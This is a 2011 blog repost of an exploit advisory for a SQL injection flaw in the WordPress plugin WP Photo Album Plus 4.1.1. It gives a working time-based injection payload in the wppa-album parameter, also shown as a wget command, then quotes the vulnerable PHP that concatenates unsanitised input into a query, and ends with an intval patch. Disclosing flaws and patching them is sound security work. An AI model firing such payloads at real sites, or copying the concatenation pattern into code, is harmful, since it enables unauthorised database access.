Home > HACKING > WordPress Photo Album Plus 4.1.1 SQL Injection
WordPress Photo Album Plus 4.1.1 SQL Injection
Posted on Senin, 17 Oktober 2011 by do it your self
Exploit Title: WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability
# Date: 2011-10-14
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Plugin Page: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://downloads.wordpress.org/plugin/wp-photo-album-plus.zip
# Version: 4.1.1 (tested)
---------------
PoC (GET data)
---------------
http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
e.g.
wget "http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1"
---------------
Vulnerable code
---------------
Line 76 of wppa-functions.php:
if ( $this_occur ) $alb = wppa_get_get('album');
if ( ! $alb && is_numeric($wppa['start_album']) ) $alb = $wppa['start_album'];
$separate = wppa_is_separate($alb);
$slide = ( wppa_get_album_title_linktype($alb) == 'slide' ) ? '&wppa-slide' : '';
Line 3170 of wppa-functions.php:
function wppa_get_get($index, $default = false) {
#xdebug_start_trace('/var/www/xdebug.log');
if (isset($_GET['wppa-'.$index])) { // New syntax first
return $_GET['wppa-'.$index];
}
if (isset($_GET[$index])) { // Old syntax
return $_GET[$index];
}
return $default;
}
Line 3362 of wppa-functions.php:
function wppa_get_album_title_linktype($alb) {
global $wpdb;
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
echo $result;
return $result;
}
---------------
Patch
---------------
*** ./wppa-functions.php 2011-10-03 09:37:48.000000000 -0400
--- ./wppa-functions.php.new 2011-10-15 16:02:27.996945496 -0400
***************
*** 3361,3367 ****
function wppa_get_album_title_linktype($alb) {
global $wpdb;
!
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
--- 3361,3367 ----
function wppa_get_album_title_linktype($alb) {
global $wpdb;
! $alb=intval($alb);
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
***************
*** 3384,3387 ****
global $wppa;
if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
\ No newline at end of file
--- 3384,3387 ----
global $wppa;
if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
Artikel Terkait
Category Article HACKING
Arsip Blog
-
▼
2011
(392)
-
▼
Oktober
(109)
- Acai Berry untuk Kesehatan Tubuh
- Android Secret Code
- Cantik dengan Make Up alami
- ADVANTAGES Use STORED PROCEDURE
- Understanding XSS
- Buah dan Sayuran dengan Kandungan Serat Tinggi
- Facebook Tips And Tricks
- Starcraft
- anti Xss injection
- Smartphone Nokia launched.
- Krim Jahe untuk Segarkan Kulit kering
- Tips Saving Data Safe from Viruses
- update username password nod32 26 oktober 2011
- Ice Cream Sandwich
- keyboard without keys
- Sehat dengan Buah Stroberi
- Cara Ampuh Cegah Komedo
- Install Windows XP 20 Menit
- Sehat Alami dengan Manfaat Jahe
- Perawatan Kecantikan dengan Lemon
- Jalan Telanjang Kaki dan Manfaatnya Bagi Kesehatan
- Free Download BitDefender Internet Security 2012 B...
- Free Download Manual, Offline Update Avira 20 Okto...
- update username password nod32 20 oktober 2011
- Arabic Pad application
- usernme password nod 32 18 oktober 2011
- Terapi Laser untuk Kecantikan
- Bad Credit Loan Shop
- Basic Forex Trading
- Node-Link Diagrams, Sketches, and the Design Process
- free download PES 2012 full vesion
- Creating web applications in java easily </ g: p...
- Ruubik CMS 1.1.0 Local File Inclusion
- WordPress Photo Album Plus 4.1.1 SQL Injection
- WordPress (Version 3.0.1 And Prior) Url Redirectio...
- Dataface Local File Include
- Si pembuat Facebook Mark Zuckerberg pemuda terkaya...
- Tanpa judul
- Membuat Tepi Gambar Bershadow Dengan CSS 3
- Cara melindungi blog wordpres dari serangan homo
- Menu Dessert Sehat Untuk Kesehatan
- free Hotmail Application for Android
- Free youtube converter
- update username password nod32 17 oktober 2011
- Mini Games Smash Frenzy 3 v1.0 Full Download
- free download King Soft Office 2012
- How to Solve Error Download on Android Market Website
- Pro World PES 2012
- Hypertext and Hypermedia
- Nodes, Links, and Navigation
- cara menampilkan status ym di blog
- Windows Repair Software
- username and password nod32 16 oktober 2011
- Free Download Windows 8 Transformation Pack for XP...
- new HTML 5
- VirtualBox 4.1
- free Download ESET Smart Security 5.0.84.0 RC x86 ...
- Free PDF to Word Doc Converter version
- ELEMENT MULIMEDIA & MULTIMEDIA APPLICATIONS
- how to cleaning computer from malware
- Create a Shortcut for Locking the "Computer Screen"
- Steve Jobs will be immortalized in Hungary
- to protected and hidden files very easy
- Analysis of Web Design
- Manual Update Microsoft Security essentials MSE Of...
- Computer Graphics Applications with CGI Technology
- cgi technology on movie
- SEO blog optimization tips
- username password nod32 2011 15 oktober 2011
- Free SN AVG Internet Security 2011 Full version
- Kaspersky Daily Update 15 September 2011
- Avira Antivir Virus Definition File Update 15 okto...
- Atasi Kulit Berminyak Dengan Alami
- How to Create an Free account LR
- 'Web' usability
- Changing your Windows 7 Themes to Windows 8 Themes
- AVG AntiVirus Free Edition 2012
- Free Download Updater Offline Avira November 2011
- Kaspersky Anti-Virus Update 15 oktober 2011
- tutorial to create simple presentations with flah 8
- Why Use Multimedia
- SEO Without You Can Still Get A Powerful Blog Traffic
- some dangerous trap sites
- How To Restore a Deleted Blog in Blogger?
- Username Password ESS eset nod32 14 Oktober 2011
- User name Password ESS NOD32 13 Oktober 2011
- Username And Password Eset NOD32 12 Oktober 2011
- Username And Password Eset NOD32 11 Oktober 2011
- Username And Password Eset NOD32 09 Oktober 2011 N...
- Usrnme Paswrd Eset NOD32 8 Oktober 2011
- Username And Password Eset NOD32 05 Oktober 2011 N...
- Username And Password Eset NOD32 06, 07 Oktober 2011
- Username And Password Eset NOD32 3 oktober 2011
- Username And Password Eset NOD32 4 Oktober 2011 Ne...
- Username And Password Eset NOD32 2 Oktober 2011
- Username And Password Eset NOD32 1 oktober 2011
- Home » Username Eset NOD32 » Username And Password...
- Username And Password Eset NOD32 19 September 2011
- Bahaya di Balik Sehatnya Sayuran dan Buah
- Be Famous. Host A Seminar!
-
▼
Oktober
(109)